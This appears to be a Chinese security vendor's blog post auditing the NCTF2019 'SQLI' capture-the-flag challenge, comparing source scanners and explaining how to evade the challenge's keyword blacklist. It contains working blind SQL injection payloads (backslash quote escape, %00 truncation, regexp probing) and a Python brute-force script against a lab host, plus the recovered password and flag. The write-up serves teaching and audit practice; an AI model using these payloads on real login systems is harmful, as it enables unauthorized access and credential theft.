提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      php代码审计案例之SQLI
      发布时间:2023-01-06 阅读次数: 463 次
      所谓代码审计是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。在安全领域,为了发现安全问题,常通过黑盒测试、白盒测试方法来尽可能的发现业务程序中的安全问题,代码审计就是白盒测试的常用方法,相较于黑盒测试,由于白盒测试能接触到源代码,可以更加详细的理解业务程序逻辑,也能更全面的发现安全风险。接下来本系列文章将以php代码审计为切入点,过程中结合常见源代码扫描工具和动态调试方法,来讲解php代码审计的常见漏洞点和分析方法。本章节以NCTP2019Web题目SQLI为审计对象,相关源代码网上也都有公开。

      代码审计过程

      源代码扫描效果查看

      图片

      图片

      图片

      图片

      rips

      1XSS+1SQL注入

      Seay

      Fortify

      2SQL注入+2XSS+3敏感数据泄漏

      总的来看,我们可以知道面对SQL注入这种语法层面的漏洞特征,seay是无力的,它的特征都是针对特定的函数名的。因此在这一道主要重点考察SQL注入漏洞的CTF赛题的时候,seay颗粒无收。而rips和fortify都发现了SQL注入漏洞特征,其主要依据是SQL语句中包含有$_GET,$_POST所提交的数据。

      接下来我们来看一下源码

      图片

      可以看到下面一部分,在进行SQL请求的时候,将$_GET,$_POST所提交的数据直接拼接成SQL,因此这里肯定有SQL注入漏洞。但是在请求之前,通过black_list黑名单列表,对请求的参数值进行的检查。如果请求的数据包含有黑名单数据,那么就直接退出。因此这里主要考察的就是SQL注入的绕过问题。

      其中黑名单为,不区分大小写,后台为MySQL数据库。


      /limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

      当我们输入特征时,就会出现下面的报错

      图片

      我们在本地简单调试一下,当输入username=123&passwd=123时

      图片

      最终构成的SQL语句如下

      "select * from users where username='123' and passwd='123'"

      由于这里单引号在黑名单里,因此这里如果想要形成拼接的话,只有在username处输入为\,使得第二个单引号被转义,从而在SQL语句层面中变成一个查询字符。

      图片

      如果没有转义符号,会构成SQL层面的语法错误

      图片

      到这里我们可以形成,大致如下的SQL语句,其中红色部分会被认为是一个字符串,并作为username的值。

      "select * from users where username='123\' and passwd='123'"

      图片

      但是这里由于有3个单引号,SQL语法上还是有问题的,因此需要将最后字符字符处理掉,使其不在整个SQL语句的逻辑中。这里可以通过%00进行截断

      可以看到,最后空字节%00成功隔绝了最后一个单引号,使得SQL语法不会报错。

      图片

      这里我们注意,即使黑名单里有%00,但是%00会转成空字节,在进入index.php时,已经被转为空字节,所以不会匹配到黑名单

      图片

      根据最后的代码逻辑,当我们输入的密码和数据库内的密码相同,就会将flag给打印出来,因此这里我们就需要利用SQL注入获取admin的密码

      图片

      由于有黑名单过滤,这里可以通过regexp进行正则匹配注入,不断的去探测字符。

      图片

      例如当想要探测用户名时,就可以通过正则不断匹配前面字符,当匹配到时,返回1,没匹配到,返回0

      select user() regexp '^r'

      图片
      图片

      同理这里就可以构造passwd字段的值为||passwd regexp "^r";%00

      然后不断修改'^r'对应的字符,从而获取passwd的值,另外这里将空格也过滤掉了,通过注释符进行绕过,得到||passwd/**/regexp/**/"^r";%00

      图片

      最终得到

      图片

      当passwd/**/regexp/**/"^r";%00 为0时,显示为空,最终会打印<script>alert(\"try to make the sqlquery have its own results\")</script>

      图片
      图片

      而当||passwd/**/regexp/**/"^y";%00为1时,显示真实的账号密码

      图片

      从而跳转到welcome.php页面。

      根据这个特性,最终编写脚本进行自动化发现



      #coding:utf-8import requestsimport timeimport stringurl = "http://9b6213b7-4b4b-425b-8083-b30bb81d996c.node4.buuoj.cn:81/"str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
      payload = ''for n in range(100):  print(n)  for i in str_list:    data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}    res = requests.post(url = url, data = data)    if 'welcome.php' in res.text:      payload += i      print(payload)      break    elif res.status_code == 429:      time.sleep(1)
      图片

      得到密码为you_will_never_know7788990

      回到登录框,输入账号密码,账号随意,密码为you_will_never_know7788990

      图片

      最终得到flag为


      flag{f3fb8909-fd48-4ae0-8978-adcd84175f0e}


      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部